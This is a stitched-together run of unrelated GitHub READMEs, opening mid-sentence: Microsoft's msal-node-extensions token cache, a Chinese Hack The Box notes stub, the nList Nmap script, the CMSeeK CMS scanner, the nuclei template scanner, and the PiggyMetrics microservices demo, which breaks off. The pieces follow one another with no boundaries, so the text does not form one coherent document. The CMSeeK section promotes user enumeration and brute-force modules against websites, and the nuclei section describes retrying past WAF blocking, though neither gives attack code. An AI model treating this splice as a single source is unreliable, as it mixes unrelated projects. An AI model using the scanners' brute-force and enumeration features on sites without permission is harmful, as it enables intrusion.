arguments for the persistence configuration are explained below: | Field Name | Description | Required For | | ---------- | ----------- | ------------ | | cachePath | This is the path to the lock file the library uses to synchronize the reads and the writes | Windows, Mac and Linux | | dataProtectionScope | Specifies the scope of the data protection on Windows either the current user or the local machine. | Windows | | serviceName | This specifies the service name to be used on Mac and/or Linux | Mac and Linux | | accountName | This specifies the account name to be used on Mac and/or Linux | Mac and Linux | | usePlaintextFileOnLinux | This is a flag to default to plain text on linux if libsecret fails. Defaults to `false` | Linux | ### Security boundary On Windows and Linux, the token cache is scoped to the user session, i.e. all applications running on behalf of the user can access the cache. Mac offers a more restricted scope, ensuring that only the application that created the cache can access it, and prompting the user if others apps want access. ## Usage - Brokering Enabling token brokering requires just one new configuration parameter: ```javascript import { PublicClientApplication, Configuration } from "@azure/msal-node"; import { NativeBrokerPlugin } from "@azure/msal-node-extensions"; const msalConfig: Configuration = { auth: { clientId: "your-client-id" }, broker: { nativeBrokerPlugin: new NativeBrokerPlugin() } }; const pca = new PublicClientApplication(msalConfig); ``` More detailed information can be found in the [brokering documentation](https://github.com/AzureAD/microsoft-authentication-library-for-js/tree/dev/lib/msal-node/docs/brokering.md) ## Build and Test If you intend to contribute to the library visit the [`contributing section`](#contributing) for even more information on how. ### Building the package locally To build both the `@azure/msal-node-extensions` library and `@azure/msal-common` libraries, run the following commands: ```bash // Install dev dependencies from root of repo npm install // Change to the msal-node-extensions package directory cd lib/msal-node-extensions/ // Build msal-common and msal-node-extensions npm run build:all ``` ### Running Tests `@azure/msal-node-extensions` uses [jest](https://jestjs.io/) to run unit tests and coverage. ```bash // To run tests npm test ``` ## Samples - [Auth Code CLI sample with Cache Persistence](https://github.com/AzureAD/microsoft-authentication-library-for-js/tree/dev/extensions/samples/msal-node-extensions). This can be run on Windows, Mac and Linux. - [Electron sample with Cache Persistence](https://github.com/AzureAD/microsoft-authentication-library-for-js/tree/dev/extensions/samples/electron-webpack) - [Brokering sample](https://github.com/AzureAD/microsoft-authentication-library-for-js/tree/dev/samples/msal-node-samples/auth-code-cli-brokered-app) ## Security Reporting If you find a security issue with our libraries or services please report it to [[email protected]](mailto:[email protected]) with as much detail as possible. Your submission may be eligible for a bounty through the [Microsoft Bounty](http://aka.ms/bugbounty) program. Please do not post security issues to GitHub Issues or any other public site. We will contact you shortly upon receiving the information. We encourage you to get notifications of when security incidents occur by visiting [this page](https://technet.microsoft.com/security/dd252948) and subscribing to Security Advisory Alerts. ## License Copyright (c) Microsoft Corporation. All rights reserved. Licensed under the MIT License. ## Contributing This project welcomes contributions and suggestions. Most contributions require you to agree to a Contributor License Agreement (CLA) declaring that you have the right to, and actually do, grant us the rights to use your contribution. For details, visit https://cla.opensource.microsoft.com. When you submit a pull request, a CLA bot will automatically determine whether you need to provide a CLA and decorate the PR appropriately (e.g., status check, comment). Simply follow the instructions provided by the bot. You will only need to do this once across all repos using our CLA. This project has adopted the [Microsoft Open Source Code of Conduct](https://opensource.microsoft.com/codeofconduct/). For more information see the [Code of Conduct FAQ](https://opensource.microsoft.com/codeofconduct/faq/) or contact [[email protected]](mailto:[email protected]) with any additional questions or comments. ## We Value and Adhere to the Microsoft Open Source Code of Conduct This project has adopted the [Microsoft Open Source Code of Conduct](https://opensource.microsoft.com/codeofconduct/). For more information see the [Code of Conduct FAQ](https://opensource.microsoft.com/codeofconduct/faq/) or contact [[email protected]](mailto:[email protected]) with any additional questions or comments.
# 笔记 根据 hack the box 的政策,只会更新出已经退休机器的walkthrough。 之前做过的机器需要慢慢整理笔记,由于年代久远和时间比较少的原因,可能更新会较慢。
# nList An Nmap script to produce target lists for use with various tools. ## Installation For the script to be run by default as part of all script scans (`-sC`), it will need to be saved in the `scripts` subdirectory of the Nmap data directory along with an `nlist.conf` file. A `.nlist` file placed in the user's home directory will be used instead of the default `nlist.conf` file if another configuration file is not specified using the `nlist.config` argument. ## Usage Works best when run as part of a version scan (`-sV`). <pre> nmap [-sV] --script nlist [--script-args nlist.config=&lt;config_file&gt;,nlist.ignorehome,nlist.outdir=&lt;output_directory&gt;,nlist.overwrite] [-p-] &lt;target&gt; -- nlist.config=&lt;config_file&gt;: nList configuration file -- nlist.ignorehome: If specified, the '.nlist' configuration file in the user's home directory is ignored -- nlist.outdir=&lt;output_directory&gt;: Output directory to write list files to ('./target_lists' by default) -- nlist.overwrite: If specified, existing output files are overwritten </pre> All arguments override settings specified in config files! ## Configuration Configuration files must follow the same structure as the `nlist.conf` file provided in this repository. It is advised that you familiarise yourself with this file before attempting to write your own configuration files. Configuration files can contain the following options: - `overwrite`: A Boolean value that specifies whether to overwrite existing output files (`true`) or append to them (`false`) - `output_directory`: A string containing the directory in which to save any output files (will be created if it does not already exist) - `use_default_rules`: A Boolean value that specifies whether to use the default rules defined in the `nlist.conf` file as well as the rules defined in this configuration file (`true`) or not (`false`) - `use_home_rules`: A Boolean value that specifies whether to use the rules defined in the `.nlist` file in the user's home directory as well as the rules defined in this configuration file (`true`) or not (`false`) - `output_files`: An array of specifications for each output file the script should generate (see subsection below for details) ### `output_files` Specifications Each `output_files` specification is made up of the following options: - `name`: A string containing the path to the output file - `rules`: An array of rules that should be used to determine the contents of the file (see subsection below for details) - `output_format`: An array specifying the format each line in the file should take (see subsection below for details) #### `rules` Rules Only one of the rules specified for an output file needs to be met for a port to be included in the output file (subsequent rules for the output file will be skipped for that port)! Rules can be made up of a combination of the following criteria: - `port_protocol`: An array containing acceptable port protocols (`tcp` and/or `udp`) - `port_number`: An array containing acceptable port numbers - `service`: An array containing acceptable services (not case sensitive) - `service_type`: An array containing acceptable service types (currently only `http` and `ssl/tls` are valid values) #### `output_format` Format The first string in this array should be a format string containing `%s` where subsequent values should appear (these will appear in the order they are specified in). The following strings can be any combination of the following values: - `ip`: The IP address of the host - `port_number`: The port number - `port_protocol`: The port protocol (`tcp` or `udp`) - `service`: The service running on the port You must specify the same number of values as there are occurrences of `%s` in your format string! Literal `%` characters will need to be backslash escaped (`\%`)!
<p align='center'> <img src="https://i.imgur.com/5VYs1m2.png" alt="Logo"> <br> <a href="https://github.com/trhacknon/CMSeeK/releases/tag/v.1.1.3"><img src="https://img.shields.io/badge/Version-1.1.3-brightgreen.svg?style=style=flat-square" alt="version"></a> <a href="https://github.com/trhacknon/CMSeeK/"><img src="https://img.shields.io/badge/python-3-orange.svg?style=style=flat-square" alt="Python Version"></a> <a href="https://github.com/trhacknon/CMSeeK/stargazers"><img src="https://img.shields.io/github/stars/trhacknon/CMSeeK.svg" alt="GitHub stars" /></a> <a href="https://github.com/trhacknon/CMSeeK/blob/master/LICENSE"><img src="https://img.shields.io/github/license/trhacknon/CMSeeK.svg" alt="GitHub license" /></a> <a href="https://twitter.com/"><img src="https://img.shields.io/twitter/url/https/github.com/trhacknon/CMSeeK.svg?style=social" alt="Twitter" /></a> </p> ## What is a CMS? > A content management system (CMS) manages the creation and modification of digital content. It typically supports multiple users in a collaborative environment. Some noteable examples are: *WordPress, Joomla, Drupal etc*. ## Release History ``` - Version 1.1.3 [25-07-2020] - Version 1.1.2 [19-05-2019] - Version 1.1.1 [01-02-2019] - Version 1.1.0 [28-08-2018] - Version 1.0.9 [21-08-2018] - Version 1.0.8 [14-08-2018] - Version 1.0.7 [07-08-2018] ... ``` [Changelog File](https://github.com/trhacknon/CMSeeK/blob/master/CHANGELOG) ## Functions Of CMSeek: - Basic CMS Detection of over 170 CMS - Drupal version detection - Advanced Wordpress Scans - Detects Version - User Enumeration - Plugins Enumeration - Theme Enumeration - Detects Users (3 Detection Methods) - Looks for Version Vulnerabilities and much more! - Advanced Joomla Scans - Version detection - Backup files finder - Admin page finder - Core vulnerability detection - Directory listing check - Config leak detection - Various other checks - Modular bruteforce system - Use pre made bruteforce modules or create your own and integrate with it ## Requirements and Compatibility: CMSeeK is built using **python3**, you will need python3 to run this tool and is compitable with **unix based systems** as of now. Windows support will be added later. CMSeeK relies on **git** for auto-update so make sure git is installed. ## Installation and Usage: It is fairly easy to use CMSeeK, just make sure you have python3 and git (just for cloning the repo) installed and use the following commands: - git clone `https://github.com/trhacknon/CMSeeK` - cd CMSeeK - pip/pip3 install -r requirements.txt For guided scanning: - python3 cmseek.py Else: - python3 cmseek.py -u <target_url> [...] Help menu from the program: ``` USAGE: python3 cmseek.py (for guided scanning) OR python3 cmseek.py [OPTIONS] <Target Specification> SPECIFING TARGET: -u URL, --url URL Target Url -l LIST, --list LIST Path of the file containing list of sites for multi-site scan (comma separated) MANIPULATING SCAN: -i cms, --ignore--cms cms Specify which CMS IDs to skip in order to avoid flase positive. separated by comma "," --strict-cms cms Checks target against a list of provided CMS IDs. separated by comma "," --skip-scanned Skips target if it's CMS was previously detected. RE-DIRECT: --follow-redirect Follows all/any redirect(s) --no-redirect Skips all redirects and tests the input target(s) USER AGENT: -r, --random-agent Use a random user agent --googlebot Use Google bot user agent --user-agent USER_AGENT Specify a custom user agent OUTPUT: -v, --verbose Increase output verbosity VERSION & UPDATING: --update Update CMSeeK (Requires git) --version Show CMSeeK version and exit HELP & MISCELLANEOUS: -h, --help Show this help message and exit --clear-result Delete all the scan result --batch Never ask you to press enter after every site in a list is scanned EXAMPLE USAGE: python3 cmseek.py -u example.com # Scan example.com python3 cmseek.py -l /home/user/target.txt # Scan the sites specified in target.txt (comma separated) python3 cmseek.py -u example.com --user-agent Mozilla 5.0 # Scan example.com using custom user-Agent Mozilla is 5.0 used here python3 cmseek.py -u example.com --random-agent # Scan example.com using a random user-Agent python3 cmseek.py -v -u example.com # enabling verbose output while scanning example.com ``` ## Checking For Update: You can check for update either from the main menu or use `python3 cmseek.py --update` to check for update and apply auto update. P.S: Please make sure you have `git` installed, CMSeeK uses git to apply auto update. ## Detection Methods: CMSeek detects CMS via the following: - HTTP Headers - Generator meta tag - Page source code - robots.txt ## Supported CMSs: CMSeeK currently can detect **170+** CMS. Check the list here: [cmss.py](https://github.com/Tuhinshubhra/CMSeeK/blob/master/cmseekdb/cmss.py) file which is present in the `cmseekdb` directory. All the cmss are stored in the following way: ``` cmsID = { 'name':'Name Of CMS', 'url':'Official URL of the CMS', 'vd':'Version Detection (0 for no, 1 for yes)', 'deeps':'Deep Scan (0 for no 1 for yes)' } ``` ## Scan Result: All of your scan results are stored in a json file named `cms.json`, you can find the logs inside the `Result\<Target Site>` directory, and as of the bruteforce results they're stored in a txt file under the site's result directory as well. Here is an example of the json report log: ![Json Log](https://i.imgur.com/5dA9jQg.png) ## Bruteforce Modules: CMSeek has a modular bruteforce system meaning you can add your custom made bruteforce modules to work with cmseek. A proper documentation for creating modules will be created shortly but in case you already figured out how to (pretty easy once you analyze the pre-made modules) all you need to do is this: 1. Add a comment exactly like this `# <Name Of The CMS> Bruteforce module`. This will help CMSeeK to know the name of the CMS using regex 2. Add another comment `### cmseekbruteforcemodule`, this will help CMSeeK to know it is a module 3. Copy and paste the module in the `brutecms` directory under CMSeeK's directory 4. Open CMSeeK and Rebuild Cache using `R` as the input in the first menu. 5. If everything is done right you'll see something like this (refer to screenshot below) and your module will be listed in bruteforce menu the next time you open CMSeeK. <p align='center'> <img alt="Cache Rebuild Screenshot" width="600px" src="https://i.imgur.com/yhdzTYr.png" /> </p> ## Need More Reasons To Use CMSeeK? If not anything you can always enjoy exiting CMSeeK *(please don't)*, it will bid you goodbye in a random goodbye message in various languages. Also you can try reading comments in the code those are pretty random and weird!!! ## Screenshots: <p align="center"> <img alt="Main Menu" src="https://i.imgur.com/Eij6QvX.png" /> <br><em>Main Menu</em><br> <img alt="Scan Result" src="https://i.imgur.com/u0iyLdB.png" /> <br><em>Scan Result</em><br> <img alt="WordPress Scan Result" src="https://i.imgur.com/cOtCJLj.png" /> <br><em>WordPress Scan Result</em><br> </p> ## Guidelines for opening an issue: Please make sure you have the following info attached when opening a new issue: - Target - Exact copy of error or screenshot of error - Your operating system and python version **Issues without these informations might not be answered!** ## Disclaimer: **Usage of CMSeeK for testing or exploiting websites without prior mutual consistency can be considered as an illegal activity. It is the final user's responsibility to obey all applicable local, state and federal laws. Authors assume no liability and are not responsible for any misuse or damage caused by this program.** ## License: CMSeeK is licensed under [GNU General Public License v3.0](https://github.com/Tuhinshubhra/CMSeeK/blob/master/LICENSE) ## Follow Me @trhacknon: [Twitter](https://twitter.com/)
<h1 align="left"> <img src="static/nuclei-logo.png" alt="nuclei" width="200px"></a> <br> </h1> [![License](https://img.shields.io/badge/license-MIT-_red.svg)](https://opensource.org/licenses/MIT) [![Go Report Card](https://goreportcard.com/badge/github.com/projectdiscovery/nuclei)](https://goreportcard.com/report/github.com/projectdiscovery/nuclei) [![contributions welcome](https://img.shields.io/badge/contributions-welcome-brightgreen.svg?style=flat)](https://github.com/projectdiscovery/nuclei/issues) Nuceli is a fast tool for configurable targeted scanning based on templates offering massive extensibility and ease of use. Nuclei is used to send requests across targets based on a template leading to zero false positives and providing effective scanning for known paths. Main use cases for nuclei are during initial reconnaissance phase to quickly check for low hanging fruits or CVEs across targets that are known and easily detectable. It uses [retryablehttp-go library](https://github.com/projectdiscovery/retryablehttp-go) designed to handle various errors and retries in case of blocking by WAFs, this is also one of our core modules from custom-queries. We have also [open-sourced a dedicated repository](https://github.com/projectdiscovery/nuclei-templates) to maintain various type of templates, we hope that you will contribute there too. Templates are provided in hopes that these will be useful and will allow everyone to build their own templates for the scanner. # Resources - [Resources](#resources) - [Features](#features) - [Usage](#usage) - [Installation Instructions](#installation-instructions) - [Prerequisite](#prerequisite) - [From Binary](#from-binary) - [From Source](#from-source) - [Running nuclei](#running-nuclei) - [1. Running nuclei with single template](#1-running-nuclei-with-a-single-template) - [2. Running nuclei with multiple template](#2-running-nuclei-with-multiple-templates) - [Thanks](#thanks) # Features <h1 align="left"> <img src="static/nuclei-run.png" alt="nuclei" width="700px"></a> <br> </h1> - Simple and modular code base making it easy to contribute. - Fast And fully configurable using a template based engine. - Handles edge cases doing retries, backoffs etc for handling WAFs. - Smart matching functionality for zero false positive scanning. # Usage ```bash nuclei -h ``` This will display help for the tool. Here are all the switches it supports. | Flag | Description | Example | |----------|-------------------------------------------------------|----------------------------| | -c | Number of concurrent requests (default 10) | nuclei -c 100 | | -l | List of urls to run templates | nuclei -l urls.txt | | -t | Templates input file/files to check across hosts | nuclei -t git-core.yaml | | -t | Templates input file/files to check across hosts | nuclei -t "path/*.yaml" | | -nC | Don't Use colors in output | nuclei -nC | | -o | File to save output result (optional) | nuclei -o output.txt | | -silent | Show only found results in output | nuclei -silent | | -retries | Number of times to retry a failed request (default 1) | nuclei -retries 1 | | -timeout | Seconds to wait before timeout (default 5) | nuclei -timeout 5 | | -v | Show Verbose output | nuclei -v | | -version | Show version of nuclei | nuclei -version | # Installation Instructions ### From Binary The installation is easy. You can download the pre-built binaries for your platform from the [Releases](https://github.com/projectdiscovery/nuclei/releases/) page. Extract them using tar, move it to your `$PATH`and you're ready to go. ```bash > tar -xzvf nuclei-linux-amd64.tar > mv nuclei-linux-amd64 /usr/bin/nuclei > nuclei -h ``` ### From Source nuclei requires go1.13+ to install successfully. Run the following command to get the repo - ```bash > GO111MODULE=on go get -u -v github.com/projectdiscovery/nuclei/cmd/nuclei ``` In order to update the tool, you can use -u flag with `go get` command. # Running nuclei ### 1. Running nuclei with a single template. This will run the tool against all the hosts in `urls.txt` and returns the matched results. ```bash > nuclei -l urls.txt -t git-core.yaml -o results.txt ``` You can also pass the list of hosts at standard input (STDIN). This allows for easy integration in automation pipelines. This will run the tool against all the hosts in `urls.txt` and returns the matched results. ```bash > cat urls.txt | nuclei -t git-core.yaml -o results.txt ``` ### 2. Running nuclei with multiple templates. This will run the tool against all the hosts in `urls.txt` with all the templates in the `path-to-templates` directory and returns the matched results. ```bash > nuclei -l urls.txt -t "path-to-templates/*.yaml" -o results.txt ``` ### 3. Automating nuclei with subfinder and any other similar tool. ```bash > subfinder -d hackerone.com | httprob | nuclei -t "path-to-templates/*.yaml" -o results.txt ``` Nuclei supports glob expression ending in `.yaml` meaning multiple templates can be easily passed to be executed one after the other. Please refer to [this guide](https://github.com/projectdiscovery/nuclei-templates/blob/master/GUIDE.md) to build your own custom templates. # Thanks nuclei is made with 🖤 by the [projectdiscovery](https://projectdiscovery.io) team. Community contributions have made the project what it is. See the **[Thanks.md](https://github.com/projectdiscovery/nuclei/blob/master/THANKS.md)** file for more details.
[![Build Status](https://travis-ci.org/sqshq/PiggyMetrics.svg?branch=master)](https://travis-ci.org/sqshq/PiggyMetrics) [![codecov.io](https://codecov.io/github/sqshq/PiggyMetrics/coverage.svg?branch=master)](https://codecov.io/github/sqshq/PiggyMetrics?branch=master) [![GitHub license](https://img.shields.io/github/license/mashape/apistatus.svg)](https://github.com/sqshq/PiggyMetrics/blob/master/LICENCE) [![Join the chat at https://gitter.im/sqshq/PiggyMetrics](https://badges.gitter.im/sqshq/PiggyMetrics.svg)](https://gitter.im/sqshq/PiggyMetrics?utm_source=badge&utm_medium=badge&utm_campaign=pr-badge&utm_content=badge) # Piggy Metrics **A simple way to deal with personal finances** This is a [proof-of-concept application](http://my-piggymetrics.rhcloud.com), which demonstrates [Microservice Architecture Pattern](http://martinfowler.com/microservices/) using Spring Boot, Spring Cloud and Docker. With a pretty neat user interface, by the way. ![](https://cloud.githubusercontent.com/assets/6069066/13864234/442d6faa-ecb9-11e5-9929-34a9539acde0.png) ![Piggy Metrics](https://cloud.githubusercontent.com/assets/6069066/13830155/572e7552-ebe4-11e5-918f-637a49dff9a2.gif) ## Functional services PiggyMetrics was decomposed into three core microservices. All of them are independently deployable applications, organized around certain business capability. <img width="880" alt="Functional services" src="https://cloud.githubusercontent.com/assets/6069066/13900465/730f2922-ee20-11e5-8df0-e7b51c668847.png"> #### Account service Contains general user input logic and validation: incomes/expenses items, savings and account settings. Method | Path | Description | User authenticated | Available from UI ------------- | ------------------------- | ------------- |:-------------:|:----------------:| GET | /accounts/{account} | Get specified account data | | GET | /accounts/current | Get current account data | × | × GET | /accounts/demo | Get demo account data (pre-filled incomes/expenses items, etc) | | × PUT | /accounts/current | Save current account data | × | × POST | /accounts/ | Register new account | | × #### Statistics service Performs calculations on major statistics parameters and captures time series for each account. Datapoint contains values, normalized to base currency and time period. This data is used to track cash flow dynamics in account lifetime (fancy charts not yet implemented in UI). Method | Path | Description | User authenticated | Available from UI ------------- | ------------------------- | ------------- |:-------------:|:----------------:| GET | /statistics/{account} | Get specified account statistics | | GET | /statistics/current | Get current account statistics | × | × GET | /statistics/demo | Get demo account statistics | | × PUT | /statistics/{account} | Create or update time series datapoint for specified account | | #### Notification service Stores users contact information and notification settings (like remind and backup frequency). Scheduled worker collects required information from other services and sends e-mail messages to subscribed customers. Method | Path | Description | User authenticated | Available from UI ------------- | ------------------------- | ------------- |:-------------:|:----------------:| GET | /notifications/settings/current | Get current account notification settings | × | × PUT | /notifications/settings/current | Save current account notification settings | × | × #### Notes - Each microservice has it's own database, so there is no way to bypass API and access persistance data directly. - In this project, I use MongoDB as a primary database for each service. It might also make sense to have a polyglot persistence architecture (сhoose the type of db that is best suited to service requirements). - Service-to-service communication is quite simplified: microservices talking using only synchronous REST API. Common practice in a real-world systems is to use combination of interaction styles. For example, perform synchronous GET request to retrieve data and use asynchronous approach via Message broker for create/update operations in order to decouple services and buffer messages. However, this brings us in [eventual consistency](http://martinfowler.com/articles/microservice-trade-offs.html#consistency) world. ## Infrastructure services There's a bunch of common patterns in distributed systems, which could help us to make described core services work. [Spring cloud](http://projects.spring.io/spring-cloud/) provides powerful tools that enhance Spring Boot applications behaviour to implement those patterns. I'll cover them briefly. <img width="880" alt="Infrastructure services" src="https://cloud.githubusercontent.com/assets/6069066/13906840/365c0d94-eefa-11e5-90ad-9d74804ca412.png"> ### Config service [Spring Cloud Config](http://cloud.spring.io/spring-cloud-config/spring-cloud-config.html) is horizontally scalable centralized configuration service for distributed systems. It uses a pluggable repository layer that currently supports local storage, Git, and Subversion. In this project, I use `native profile`, which simply loads config files from the local classpath. You can see `shared` directory in [Config service resources](https://github.com/sqshq/PiggyMetrics/tree/master/config/src/main/resources). Now, when Notification-service requests it's configuration, Config service responses with `shared/notification-service.yml` and `shared/application.yml` (which is shared between all client applications). ##### Client side usage Just build Spring Boot application with `spring-cloud-starter-config` dependency, autoconfiguration will do the rest. Now you don't need any embedded properties in your application. Just provide `bootstrap.yml` with application name and Config service url: ```yml spring: application: name: notification-service cloud: config: uri: http://config:8888 fail-fast: true ``` ##### With Spring Cloud Config, you can change app configuration dynamically. For example, [EmailService bean](https://github.com/sqshq/PiggyMetrics/blob/master/notification-service/src/main/java/com/piggymetrics/notification/service/EmailServiceImpl.java) was annotated with `@RefreshScope`. That means, you can change e-mail text and subject without rebuild and restart Notification service application. First, change required properties in Config server. Then, perform refresh request to Notification service: `curl -H "Authorization: Bearer #token#" -XPOST http://127.0.0.1:8000/notifications/refresh` Also, you could use Repository [webhooks to automate this process](http://cloud.spring.io/spring-cloud-config/spring-cloud-config.html#_push_notifications_and_spring_cloud_bus) ##### Notes - There are some limitations for dynamic refresh though. `@RefreshScope` doesn't work with `@Configuration` classes and doesn't affect `@Scheduled` methods - `fail-fast` property means that Spring Boot application will fail startup immediately, if it cannot connect to the Config Service. That's very useful when start [all applications together](https://github.com/sqshq/PiggyMetrics#how-to-run-all-the-things) - There are significant [security notes](https://github.com/sqshq/PiggyMetrics#security) below ### Auth service Authorization responsibilities are completely extracted to separate server, which grants [OAuth2 tokens](https://tools.ietf.org/html/rfc6749) for the backend resource services. Auth Server is used for user authorization as well as for secure machine-to-machine communication inside a perimeter. In this project, I use [`Password credentials`](https://tools.ietf.org/html/rfc6749#section-4.3) grant type for users authorization (since it's used only by native PiggyMetrics UI) and [`Client Credentials`](https://tools.ietf.org/html/rfc6749#section-4.4) grant for microservices authorization. Spring Cloud Security provides convenient annotations and autoconfiguration to make this really easy to implement from both server and client side. You can learn more about it in [documentation](http://cloud.spring.io/spring-cloud-security/spring-cloud-security.html) and check configuration details in [Auth Server code](https://github.com/sqshq/PiggyMetrics/tree/master/auth-service/src/main/java/com/piggymetrics/auth). From the client side, everything works exactly the same as with traditional session-based authorization. You can retrieve `Principal` object from request, check user's roles and other stuff with expression-based access control and `@PreAuthorize` annotation. Each client in PiggyMetrics (account-service, statistics-service, notification-service and browser) has a scope: `server` for backend services, and `ui` - for the browser. So we can also protect controllers from external access, for example: ``` java @PreAuthorize("#oauth2.hasScope('server')") @RequestMapping(value = "accounts/{name}", method = RequestMethod.GET) public List<DataPoint> getStatisticsByAccountName(@PathVariable String name) { return statisticsService.findByAccountName(name); } ``` ### API Gateway As you can see, there are three core services, which expose external API to client. In a real-world systems, this number can grow very quickly as well as whole system complexity. Actualy, hundreds of services might be involved in rendering one complex webpage. In theory, a client could make requests to each of the microservices directly. But obviously, there are challenges and limitations with this option, like necessity to know all endpoints addresses, perform http request for each peace of information separately, merge the result on a client side. Another problem is non web-friendly protocols, which might be used on the backend. Usually a much better approach is to use API Gateway. It is a single entry point into the system, used to handle requests by routing them to the appropriate backend service or by invoking multiple backend services and [aggregating the results](http://techblog.netflix.com/2013/01/optimizing-netflix-api.html). Also, it can be used for authentication, insights, stress and canary testing, service migration, static response handling, active traffic management. Netflix opensourced [such an edge service](http://techblog.netflix.com/2013/06/announcing-zuul-edge-service-in-cloud.html), and now with Spring Cloud we can enable it with one `@EnableZuulProxy` annotation. In this project, I use Zuul to store static content (ui application) and to route requests to appropriate microservices. Here's a simple prefix-based routing configuration for Notification service: ```yml zuul: routes: notification-service: path: /notifications/** serviceId: notification-service stripPrefix: false ``` That means all requests starting with `/notifications` will be routed to Notification service. There is no hardcoded address, as you can see. Zuul uses [Service discovery](https://github.com/sqshq/PiggyMetrics/blob/master/README.md#service-discovery) mechanism to locate Notification service instances and also [Circuit Breaker and Load Balancer](https://github.com/sqshq/PiggyMetrics/blob/master/README.md#http-client-load-balancer-and-circuit-breaker), described below. ### Service discovery Another commonly known architecture pattern is Service discovery. It allows automatic detection of network locations for service instances, which could have dynamically assigned addresses because of auto-scaling, failures and upgrades. The key part of Service discovery is Registry. I use Netflix Eureka in this project. Eureka is a good example of the client-side discovery pattern, when client is responsible for determining locations of available service instances (using Registry server) and load balancing requests across them. With Spring Boot, you can easily build Eureka Registry with `spring-cloud-starter-eureka-server` dependency, `@EnableEurekaServer` annotation and simple configuration properties. Client support enabled with `@EnableDiscoveryClient` annotation an `bootstrap.yml` with application name: ``` yml spring: application: name: notification-service ``` Now, on application startup, it will register with Eureka Server and provide meta-data, such as host and port, health indicator URL, home page etc. Eureka receives heartbeat messages from each instance belonging to a service. If the heartbeat fails over a configurable timetable, the instance will be removed from the registry. Also, Eureka provides a simple interface, where you can track running services and number of available instances: `http://localhost:8761` ### Load balancer, Circuit breaker and Http client Netflix OSS provides another great set of tools. #### Ribbon Ribbon is a client side load balancer which gives you a lot of control over the behaviour of HTTP and TCP clients. Compared to a traditional load balancer, there is no need in additional hop for every over-the-wire invocation - you can contact desired service directly. Out of the box, it natively integrates with Spring Cloud and Service Discovery. [Eureka Client](https://github.com/sqshq/PiggyMetrics#service-discovery) provides a dynamic list of available servers so Ribbon could balance between them. #### Hystrix Hystrix is the implementation of [Circuit Breaker pattern](http://martinfowler.com/bliki/CircuitBreaker.html), which gives a control over latency and failure from dependencies accessed over the network. The main idea is to stop cascading failures in a distributed environment with a large number of microservices. That helps to fail fast and recover as soon as possible - important aspects of fault-tolerant systems that self-heal. Besides circuit breaker control, with Hystrix you can add a fallback method that will be called to obtain a default value in case the main command fails. Moreover, Hystrix generates metrics on execution outcomes and latency for each command, that we can use to [monitor system behavior](https://github.com/sqshq/PiggyMetrics#monitor-dashboard). #### Feign Feign is a declarative Http client, which seamlessly integrates with Ribbon and Hystrix. Actually, with one `spring-cloud-starter-feign` dependency and `@EnableFeignClients` annotation you have a full set of Load balancer, Circuit breaker and Http client with sensible ready-to-go default configuration. Here is an example from Account Service: ``` java @FeignClient(name = "statistics-service") public interface StatisticsServiceClient { @RequestMapping(method = RequestMethod.PUT, value = "/statistics/{accountName}", consumes = MediaType.APPLICATION_JSON_UTF8_VALUE) void updateStatistics(@PathVariable("accountName") String accountName, Account account); } ``` - Everything you need is just an interface - You can share `@RequestMapping` part between Spring MVC controller and Feign methods - Above example specifies just desired service id - `statistics-service`, thanks to autodiscovery through Eureka (but obviously you can access any resource with a specific url) ### Monitor dashboard In this project configuration, each microservice with Hystrix on board pushes metrics to Turbine via Spring Cloud Bus (with AMQP broker). The Monitoring project is just a small Spring boot application with [Turbine](https://github.com/Netflix/Turbine) and [Hystrix Dashboard](https://github.com/Netflix/Hystrix/tree/master/hystrix-dashboard). See below [how to get it up and running](https://github.com/sqshq/PiggyMetrics#how-to-run-all-the-things). Let's see our system behavior under load: Account service calls Statistics service and it responses with a vary imitation delay. Response timeout threshold is set to 1 second. <img width="880" src="https://cloud.githubusercontent.com/assets/6069066/14194375/d9a2dd80-f7be-11e5-8bcc-9a2fce753cfe.png"> <img width="212" src="https://cloud.githubusercontent.com/assets/6069066/14127349/21e90026-f628-11e5-83f1-60108cb33490.gif"> | <img width="212" src="https://cloud.githubusercontent.com/assets/6069066/14127348/21e6ed40-f628-11e5-9fa4-ed527bf35129.gif"> | <img width="212" src="https://cloud.githubusercontent.com/assets/6069066/14127346/21b9aaa6-f628-11e5-9bba-aaccab60fd69.gif"> | <img width="212" src="https://cloud.githubusercontent.com/assets/6069066/14127350/21eafe1c-f628-11e5-8ccd-a6b6873c046a.gif"> --- |--- |--- |--- | | `0 ms delay` | `500 ms delay` | `800 ms delay` | `1100 ms delay` | Well behaving system. The throughput is about 22 requests/second. Small number of active threads in Statistics service. The median service time is about 50 ms. | The number of active threads is growing. We can see purple number of thread-pool rejections and therefore about 30-40% of errors, but circuit is still closed. | Half-open state: the ratio of failed commands is more than 50%, the circuit breaker kicks in. After sleep window amount of time, the next request is let through. | 100 percent of the requests fail. The circuit is now permanently open. Retry after sleep time won't close circuit again, because the single request is too slow. ### Log analysis Centralized logging can be very useful when attempting to identify problems in a distributed environment. Elasticsearch, Logstash and Kibana stack lets you search and analyze your logs, utilization and network activity data with ease. Ready-to-go Docker configuration described [in my other project](http://github.com/sqshq/ELK-docker). ## Security An advanced security configuration is beyond the scope of this proof-of-concept project. For a more realistic simulation of a real system, consider to use https, JCE keystore to encrypt Microservices passwords and Config server properties content (see [documentation](http://cloud.spring.io/spring-cloud-config/spring-cloud-config.html#_security) for details). ## Infrastructure automation Deploying microservices, with their interdependence, is much more complex process than deploying monolithic application. It is important to have fully automated infrastructure. We can achieve following benefits with Continuous Delivery approach: - The ability to release software anytime - Any build could end up being a release - Build artifacts once - deploy as needed Here is a simple Continuous Delivery workflow, implemented in this project: <img width="880" src="https://cloud.githubusercontent.com/assets/6069066/14159789/0dd7a7ce-f6e9-11e5-9fbb-a7fe0f4431e3.png"> In this [configuration](https://github.com/sqshq/PiggyMetrics/blob/master/.travis.yml), Travis CI builds tagged images for each successful git push. So, there are always `latest` image for each microservice on [Docker Hub](https://hub.docker.com/r/sqshq/) and older images, tagged with git commit hash. It's easy to deploy any of them and quickly rollback, if needed. ## How to run all the things? Keep in mind, that you are going to start 8 Spring Boot applications, 4 MongoDB instances and RabbitMq. Make sure you have `4 Gb` RAM available on your machine. You can always run just vital services though: Gateway, Registry, Config, Auth Service and Account Service. #### Before you start - Install Docker and Docker Compose. - Export environment variables: `CONFIG_SERVICE_PASSWORD`, `NOTIFICATION_SERVICE_PASSWORD`, `STATISTICS_SERVICE_PASSWORD`, `ACCOUNT_SERVICE_PASSWORD`, `MONGODB_PASSWORD` #### Production mode In this mode, all latest images will be pulled from Docker Hub. Just copy `docker-compose.yml` and hit `docker-compose up -d`. #### Development mode If you'd like to build images yourself (with some changes in the code, for example), you have to clone all repository and build artifacts with maven. 